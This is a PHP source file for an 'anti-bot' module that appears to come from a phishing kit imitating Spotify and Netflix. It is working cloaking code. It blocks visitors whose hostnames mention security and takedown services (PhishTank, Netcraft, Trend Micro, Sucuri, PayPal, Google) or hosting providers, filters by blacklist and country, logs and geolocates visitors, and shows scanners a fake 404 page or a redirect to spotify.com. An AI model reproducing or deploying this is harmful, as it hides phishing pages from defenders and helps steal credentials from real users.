<?php
/**
 * ENHANCED Anti-Bot Protection System v3.0
 * Combines features from multiple antibot systems:
 * - Netflixpanel (crawler DB, hostname, ISP blocking)
 * - ahab2/botMother (blacklist files, geo-filtering)
 * - rand (session fingerprinting, visitor tracking)
 * - Original spotify1 (comprehensive protection)
 */

// Prevent direct access
if (!defined('APP_ACCESS')) {
    die('Direct access not permitted');
}

// Load antibot configuration
require_once __DIR__ . '/../../config/antibot-config.php';

class EnhancedAntiBotProtection {
    
    private $clientIP;
    private $userAgent;
    private $hostname;
    private $redirectUrl;
    private $show404;
    private $geoData = null;
    
    // Cache for loaded files
    private $crawlerDB = null;
    private $blockedISPs = null;
    private $blacklistIPs = null;
    private $blacklistRanges = null;
    private $blacklistAgents = null;
    private $whitelistIPs = null;
    
    public function __construct() {
        $this->clientIP = $this->getClientIP();
        $this->userAgent = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';
        $this->hostname = @gethostbyaddr($this->clientIP);
        $this->redirectUrl = defined('ANTIBOT_REDIRECT_URL') ? ANTIBOT_REDIRECT_URL : 'https://www.spotify.com';
        $this->show404 = defined('ANTIBOT_SHOW_404') ? ANTIBOT_SHOW_404 : true;
    }
    
    /**
     * Get real client IP (considering proxies/CDN)
     */
    private function getClientIP() {
        $ip = $_SERVER['REMOTE_ADDR'];
        
        // Check various headers for real IP
        $headers = [
            'HTTP_CF_CONNECTING_IP',    // Cloudflare
            'HTTP_X_FORWARDED_FOR',     // Standard proxy header
            'HTTP_CLIENT_IP',           // Some proxies
            'HTTP_X_REAL_IP',           // Nginx proxy
            'HTTP_X_FORWARDED',
            'HTTP_X_CLUSTER_CLIENT_IP',
            'HTTP_FORWARDED_FOR',
            'HTTP_FORWARDED'
        ];
        
        foreach ($headers as $header) {
            if (!empty($_SERVER[$header])) {
                $ip = $_SERVER[$header];
                // Handle multiple IPs (take first one)
                if (strpos($ip, ',') !== false) {
                    $ip = explode(',', $ip)[0];
                }
                break;
            }
        }
        
        return trim($ip);
    }
    
    /**
     * Get whitelist IPs
     */
    private function getWhitelistIPs() {
        if ($this->whitelistIPs === null) {
            $whitelistFile = __DIR__ . '/whitelist-ips.txt';
            $this->whitelistIPs = file_exists($whitelistFile) 
                ? $this->loadBlacklist($whitelistFile) 
                : [];
        }
        return $this->whitelistIPs;
    }
    
    /**
     * Check if IP is whitelisted
     */
    private function isWhitelisted() {
        $whitelist = $this->getWhitelistIPs();
        return in_array($this->clientIP, $whitelist);
    }
    
    /**
     * Check if IP is localhost/local network
     */
    private function isLocalhost() {
        $localIPs = ['127.0.0.1', '::1', 'localhost'];
        
        // Check exact match
        if (in_array($this->clientIP, $localIPs)) {
            return true;
        }
        
        // Check local network ranges
        if (strpos($this->clientIP, '192.168.') === 0 ||
            strpos($this->clientIP, '10.') === 0 ||
            strpos($this->clientIP, '172.16.') === 0 ||
            strpos($this->clientIP, '172.17.') === 0 ||
            strpos($this->clientIP, '172.18.') === 0 ||
            strpos($this->clientIP, '172.19.') === 0 ||
            strpos($this->clientIP, '172.20.') === 0 ||
            strpos($this->clientIP, '172.21.') === 0 ||
            strpos($this->clientIP, '172.22.') === 0 ||
            strpos($this->clientIP, '172.23.') === 0 ||
            strpos($this->clientIP, '172.24.') === 0 ||
            strpos($this->clientIP, '172.25.') === 0 ||
            strpos($this->clientIP, '172.26.') === 0 ||
            strpos($this->clientIP, '172.27.') === 0 ||
            strpos($this->clientIP, '172.28.') === 0 ||
            strpos($this->clientIP, '172.29.') === 0 ||
            strpos($this->clientIP, '172.30.') === 0 ||
            strpos($this->clientIP, '172.31.') === 0) {
            return true;
        }
        
        return false;
    }
    
    /**
     * Load crawler database from JSON
     */
    private function loadCrawlerDB() {
        if ($this->crawlerDB !== null) {
            return $this->crawlerDB;
        }
        
        if (!defined('ANTIBOT_CRAWLER_DB_FILE') || !file_exists(ANTIBOT_CRAWLER_DB_FILE)) {
            $this->crawlerDB = [];
            return $this->crawlerDB;
        }
        
        $json = file_get_contents(ANTIBOT_CRAWLER_DB_FILE);
        $data = json_decode($json, true);
        
        $patterns = [];
        if (is_array($data)) {
            foreach ($data as $entry) {
                if (isset($entry['pattern']) && $entry['pattern'] == 'NoPattern' && isset($entry['instances'])) {
                    foreach ($entry['instances'] as $instance) {
                        $patterns[] = $instance;
                    }
                }
            }
        }
        
        $this->crawlerDB = $patterns;
        return $this->crawlerDB;
    }
    
    /**
     * Load blocked ISPs list
     */
    private function loadBlockedISPs() {
        if ($this->blockedISPs !== null) {
            return $this->blockedISPs;
        }
        
        if (!defined('ANTIBOT_BLOCKED_ISPS_FILE') || !file_exists(ANTIBOT_BLOCKED_ISPS_FILE)) {
            $this->blockedISPs = [];
            return $this->blockedISPs;
        }
        
        $this->blockedISPs = include(ANTIBOT_BLOCKED_ISPS_FILE);
        return is_array($this->blockedISPs) ? $this->blockedISPs : [];
    }
    
    /**
     * Load blacklist from file
     */
    private function loadBlacklist($file) {
        if (!file_exists($file)) {
            return [];
        }
        
        $lines = file($file, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
        $list = [];
        
        foreach ($lines as $line) {
            $line = trim($line);
            // Skip comments and empty lines
            if (empty($line) || $line[0] === '#') {
                continue;
            }
            $list[] = $line;
        }
        
        return $list;
    }
    
    /**
     * Get blacklist IPs
     */
    private function getBlacklistIPs() {
        if ($this->blacklistIPs === null) {
            $this->blacklistIPs = defined('ANTIBOT_BLACKLIST_IPS_FILE') 
                ? $this->loadBlacklist(ANTIBOT_BLACKLIST_IPS_FILE) 
                : [];
        }
        return $this->blacklistIPs;
    }
    
    /**
     * Get blacklist IP ranges
     */
    private function getBlacklistRanges() {
        if ($this->blacklistRanges === null) {
            $this->blacklistRanges = defined('ANTIBOT_BLACKLIST_RANGES_FILE') 
                ? $this->loadBlacklist(ANTIBOT_BLACKLIST_RANGES_FILE) 
                : [];
        }
        return $this->blacklistRanges;
    }
    
    /**
     * Get blacklist user agents
     */
    private function getBlacklistAgents() {
        if ($this->blacklistAgents === null) {
            $this->blacklistAgents = defined('ANTIBOT_BLACKLIST_AGENTS_FILE') 
                ? $this->loadBlacklist(ANTIBOT_BLACKLIST_AGENTS_FILE) 
                : [];
        }
        return $this->blacklistAgents;
    }
    
    /**
     * Check crawler database
     */
    private function checkCrawlerDB() {
        if (!ANTIBOT_CHECK_CRAWLER_DB) {
            return false;
        }
        
        $crawlers = $this->loadCrawlerDB();
        
        foreach ($crawlers as $crawler) {
            if (stripos($this->userAgent, $crawler) !== false) {
                return true;
            }
        }
        
        return false;
    }
    
    /**
     * Check HTTP_ACCEPT_LANGUAGE header
     */
    private function checkAcceptLanguage() {
        if (!ANTIBOT_CHECK_ACCEPT_LANGUAGE) {
            return false;
        }
        
        // Real browsers always send Accept-Language header
        if (!isset($_SERVER['HTTP_ACCEPT_LANGUAGE']) || empty($_SERVER['HTTP_ACCEPT_LANGUAGE'])) {
            return true;
        }
        
        return false;
    }
    
    /**
     * Check hostname/reverse DNS
     */
    private function checkHostname() {
        if (!ANTIBOT_CHECK_HOSTNAME) {
            return false;
        }
        
        $blockedWords = [
            'above', 'google', 'softlayer', 'amazonaws', 'cyveillance', 'phishtank',
            'dreamhost', 'netpilot', 'calyxinstitute', 'tor-exit', 'msnbot', 'p3pwgdsn',
            'netcraft', 'trendmicro', 'ebay', 'paypal', 'torservers', 'messagelabs',
            'sucuri.net', 'crawler', 'samsung', 'alibaba', 'cloudflare', 'ovh',
            'digitalocean', 'linode', 'vultr', 'hetzner', 'contabo', 'proxy',
            'vpn', 'hosting', 'datacenter', 'bot', 'spider', 'crawl'
        ];
        
        foreach ($blockedWords as $word) {
            if (stripos($this->hostname, $word) !== false) {
                return true;
            }
        }
        
        return false;
    }
    
    /**
     * Check ISP/hosting provider
     */
    private function checkISP() {
        if (!ANTIBOT_CHECK_ISP) {
            return false;
        }
        
        $blockedISPs = $this->loadBlockedISPs();
        
        foreach ($blockedISPs as $isp) {
            if (stripos($this->hostname, $isp) !== false) {
                return true;
            }
        }
        
        return false;
    }
    
    /**
     * Check IP blacklist (exact match)
     */
    private function checkIPBlacklist() {
        if (!ANTIBOT_CHECK_IP_BLACKLIST) {
            return false;
        }
        
        $blacklistIPs = $this->getBlacklistIPs();
        
        return in_array($this->clientIP, $blacklistIPs);
    }
    
    /**
     * Check IP range blacklist
     */
    private function checkIPRangeBlacklist() {
        if (!ANTIBOT_CHECK_IP_RANGE_BLACKLIST) {
            return false;
        }
        
        $blacklistRanges = $this->getBlacklistRanges();
        
        foreach ($blacklistRanges as $range) {
            if (strpos($this->clientIP, $range) === 0) {
                return true;
            }
        }
        
        return false;
    }
    
    /**
     * Check user agent blacklist
     */
    private function checkUABlacklist() {
        if (!ANTIBOT_CHECK_UA_BLACKLIST) {
            return false;
        }
        
        $blacklistAgents = $this->getBlacklistAgents();
        
        foreach ($blacklistAgents as $agent) {
            if (stripos($this->userAgent, $agent) !== false) {
                return true;
            }
        }
        
        return false;
    }
    
    /**
     * Check for empty user agent
     */
    private function checkEmptyUA() {
        if (!ANTIBOT_CHECK_EMPTY_UA) {
            return false;
        }
        
        return empty($this->userAgent);
    }
    
    /**
     * Check if user agent is a real browser
     */
    private function isRealBrowser() {
        if (!ANTIBOT_CHECK_BROWSER_SIGNATURE) {
            return true; // Skip check if disabled
        }
        
        $browserSignatures = [
            'Mozilla', 'Chrome', 'Safari', 'Firefox', 'Edge', 'Opera',
            'MSIE', 'Trident', 'Gecko', 'WebKit', 'AppleWebKit'
        ];
        
        foreach ($browserSignatures as $signature) {
            if (stripos($this->userAgent, $signature) !== false) {
                return true;
            }
        }
        
        return false;
    }
    
    /**
     * Check for suspicious headers
     */
    private function checkSuspiciousHeaders() {
        if (!ANTIBOT_CHECK_SUSPICIOUS_HEADERS) {
            return false;
        }
        
        $suspiciousHeaders = [
            'HTTP_X_SCANNER', 'HTTP_X_FORWARDED_HOST', 'HTTP_X_ORIGINAL_URL',
            'HTTP_X_REWRITE_URL', 'HTTP_PROXY_CONNECTION'
        ];
        
        foreach ($suspiciousHeaders as $header) {
            if (isset($_SERVER[$header])) {
                return true;
            }
        }
        
        return false;
    }
    
    /**
     * Get geo-location data
     */
    private function getGeoData() {
        if ($this->geoData !== null) {
            return $this->geoData;
        }
        
        // Check cache first
        if (defined('ANTIBOT_GEO_CACHE_TIME') && ANTIBOT_GEO_CACHE_TIME > 0) {
            $cacheFile = LOGS_PATH . '/geo_cache_' . md5($this->clientIP) . '.json';
            
            if (file_exists($cacheFile)) {
                $cacheAge = time() - filemtime($cacheFile);
                if ($cacheAge < ANTIBOT_GEO_CACHE_TIME) {
                    $this->geoData = json_decode(file_get_contents($cacheFile), true);
                    return $this->geoData;
                }
            }
        }
        
        // Fetch from API
        $api = defined('ANTIBOT_GEO_API') ? ANTIBOT_GEO_API : 'http://ip-api.com/json/';
        $url = $api . $this->clientIP;
        
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_TIMEOUT, 5);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
        $response = curl_exec($ch);
        curl_close($ch);
        
        if ($response) {
            $this->geoData = json_decode($response, true);
            
            // Cache the result
            if (isset($cacheFile)) {
                @file_put_contents($cacheFile, $response);
            }
        } else {
            $this->geoData = [];
        }
        
        return $this->geoData;
    }
    
    /**
     * Check geo-filtering
     */
    private function checkGeoFilter() {
        if (!defined('ANTIBOT_GEO_ENABLED') || !ANTIBOT_GEO_ENABLED) {
            return false;
        }
        
        $geoData = $this->getGeoData();
        
        if (empty($geoData) || !isset($geoData['countryCode'])) {
            return false; // Can't determine country, allow access
        }
        
        $countryCode = $geoData['countryCode'];
        $mode = defined('ANTIBOT_GEO_MODE') ? ANTIBOT_GEO_MODE : 'whitelist';
        
        if ($mode === 'whitelist') {
            $whitelist = defined('ANTIBOT_GEO_WHITELIST') ? ANTIBOT_GEO_WHITELIST : [];
            return !in_array($countryCode, $whitelist);
        } else {
            $blacklist = defined('ANTIBOT_GEO_BLACKLIST') ? ANTIBOT_GEO_BLACKLIST : [];
            return in_array($countryCode, $blacklist);
        }
    }
    
    /**
     * Session fingerprinting
     */
    private function checkSessionFingerprint() {
        if (!defined('ANTIBOT_SESSION_FINGERPRINT') || !ANTIBOT_SESSION_FINGERPRINT) {
            return false;
        }
        
        // Start session if not started
        if (session_status() === PHP_SESSION_NONE) {
            session_start();
        }
        
        // Initialize fingerprint
        if (!isset($_SESSION['_abp_fingerprint'])) {
            $_SESSION['_abp_fingerprint'] = [
                'ip' => $this->clientIP,
                'ua' => $this->userAgent,
                'time' => time()
            ];
            return false;
        }
        
        // Check for session hijacking
        if ($_SESSION['_abp_fingerprint']['ip'] !== $this->clientIP) {
            return true; // IP changed - suspicious
        }
        
        if ($_SESSION['_abp_fingerprint']['ua'] !== $this->userAgent) {
            return true; // User agent changed - suspicious
        }
        
        return false;
    }
    
    /**
     * Track visitor
     */
    private function trackVisitor() {
        if (!defined('ANTIBOT_VISITOR_TRACKING') || !ANTIBOT_VISITOR_TRACKING) {
            return;
        }
        
        $visitorFile = defined('ANTIBOT_VISITOR_FILE') ? ANTIBOT_VISITOR_FILE : LOGS_PATH . '/visitors.json';
        
        $visitors = [];
        if (file_exists($visitorFile)) {
            $visitors = json_decode(file_get_contents($visitorFile), true);
            if (!is_array($visitors)) {
                $visitors = [];
            }
        }
        
        $geoData = $this->getGeoData();
        $country = isset($geoData['country']) ? $geoData['country'] : 'Unknown';
        $city = isset($geoData['city']) ? $geoData['city'] : 'Unknown';
        
        $visitors[$this->clientIP] = [
            'country' => $country,
            'city' => $city,
            'last_visit' => date('Y-m-d H:i:s'),
            'visits' => isset($visitors[$this->clientIP]['visits']) ? $visitors[$this->clientIP]['visits'] + 1 : 1
        ];
        
        @file_put_contents($visitorFile, json_encode($visitors, JSON_PRETTY_PRINT));
    }
    
    /**
     * Update statistics
     */
    private function updateStats($blocked = false, $reason = '') {
        if (!defined('ANTIBOT_TRACK_STATS') || !ANTIBOT_TRACK_STATS) {
            return;
        }
        
        $statsFile = defined('ANTIBOT_STATS_FILE') ? ANTIBOT_STATS_FILE : LOGS_PATH . '/antibot-stats.json';
        
        $stats = [
            'total_requests' => 0,
            'blocked' => 0,
            'allowed' => 0,
            'reasons' => []
        ];
        
        if (file_exists($statsFile)) {
            $existing = json_decode(file_get_contents($statsFile), true);
            if (is_array($existing)) {
                $stats = array_merge($stats, $existing);
            }
        }
        
        $stats['total_requests']++;
        
        if ($blocked) {
            $stats['blocked']++;
            if (!isset($stats['reasons'][$reason])) {
                $stats['reasons'][$reason] = 0;
            }
            $stats['reasons'][$reason]++;
        } else {
            $stats['allowed']++;
        }
        
        @file_put_contents($statsFile, json_encode($stats, JSON_PRETTY_PRINT));
    }
    
    /**
     * Log block
     */
    private function logBlock($reason) {
        if (!defined('ANTIBOT_LOGGING_ENABLED') || !ANTIBOT_LOGGING_ENABLED) {
            return;
        }
        
        $logFile = defined('ANTIBOT_LOG_FILE') ? ANTIBOT_LOG_FILE : LOGS_PATH . '/antibot.log';
        
        $geoData = $this->getGeoData();
        $country = isset($geoData['country']) ? $geoData['country'] : 'Unknown';
        
        $logMessage = sprintf(
            "[%s] BLOCKED - IP: %s | Country: %s | Hostname: %s | Reason: %s | UA: %s\n",
            date('Y-m-d H:i:s'),
            $this->clientIP,
            $country,
            $this->hostname,
            $reason,
            substr($this->userAgent, 0, 150)
        );
        
        @file_put_contents($logFile, $logMessage, FILE_APPEND);
    }
    
    /**
     * Block access
     */
    private function blockAccess($reason) {
        // Log the block
        $this->logBlock($reason);
        
        // Update statistics
        $this->updateStats(true, $reason);
        
        // Show 404 or redirect
        if ($this->show404) {
            http_response_code(404);
            echo '<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>404 Not Found</title>
    <style>
        body {
            font-family: Arial, sans-serif;
            background-color: #f4f4f4;
            color: #333;
            margin: 0;
            display: flex;
            height: 100vh;
            justify-content: center;
            align-items: center;
        }
        .container {
            text-align: center;
            background: #fff;
            padding: 50px;
            box-shadow: 0px 0px 10px rgba(0, 0, 0, 0.1);
            border-radius: 5px;
        }
        h1 {
            font-size: 5em;
            margin-bottom: 20px;
            color: #ff5252;
        }
        p {
            font-size: 1.5em;
        }
        a {
            display: inline-block;
            margin-top: 20px;
            padding: 10px 20px;
            background-color: #ff5252;
            color: #fff;
            text-decoration: none;
            border-radius: 3px;
            transition: background-color 0.2s;
        }
        a:hover {
            background-color: #e44141;
        }
    </style>
</head>
<body>
    <div class="container">
        <h1>404</h1>
        <p>Sorry, the page you are looking for does not exist.</p>
        <a href="/">Home</a>
    </div>
</body>
</html>';
        } else {
            header('HTTP/1.1 404 Not Found');
            header('Location: ' . $this->redirectUrl);
        }
        
        exit;
    }
    
    /**
     * Main protection check - Run all checks
     */
    public function check() {
        // CRITICAL: ALWAYS allow localhost - NO EXCEPTIONS
        if ($this->isLocalhost()) {
            $this->trackVisitor();
            $this->updateStats(false);
            return true;
        }
        
        // Check whitelist - whitelisted IPs always allowed
        if ($this->isWhitelisted()) {
            $this->trackVisitor();
            $this->updateStats(false);
            return true;
        }
        
        // Check if antibot is enabled
        if (defined('ANTIBOT_ENABLED') && !ANTIBOT_ENABLED) {
            return true;
        }
        
        // Allow real browsers first (before other checks)
        if ($this->isRealBrowser() && !defined('ANTIBOT_DEV_MODE')) {
            // Real browser, but still check some critical things
            if ($this->checkIPBlacklist()) {
                $this->blockAccess('IP Blacklist');
                return false;
            }
            
            if ($this->checkGeoFilter()) {
                $this->blockAccess('Geo-Filter');
                return false;
            }
            
            // Track and allow
            $this->trackVisitor();
            $this->updateStats(false);
            return true;
        }
        
        // Run all protection checks
        $checks = [
            'Crawler Database' => $this->checkCrawlerDB(),
            'Accept-Language Header' => $this->checkAcceptLanguage(),
            'Hostname' => $this->checkHostname(),
            'ISP/Hosting' => $this->checkISP(),
            'IP Blacklist' => $this->checkIPBlacklist(),
            'IP Range Blacklist' => $this->checkIPRangeBlacklist(),
            'User Agent Blacklist' => $this->checkUABlacklist(),
            'Empty User Agent' => $this->checkEmptyUA(),
            'Suspicious Headers' => $this->checkSuspiciousHeaders(),
            'Session Fingerprint' => $this->checkSessionFingerprint(),
            'Geo-Filter' => $this->checkGeoFilter()
        ];
        
        // Check each protection layer
        foreach ($checks as $checkName => $isBlocked) {
            if ($isBlocked) {
                $this->blockAccess($checkName);
                return false;
            }
        }
        
        // All checks passed
        $this->trackVisitor();
        $this->updateStats(false);
        return true;
    }
}

// Auto-initialize and run protection
if (defined('ANTIBOT_ENABLED') && ANTIBOT_ENABLED) {
    $enhancedAntiBot = new EnhancedAntiBotProtection();
    $enhancedAntiBot->check();
}

?>
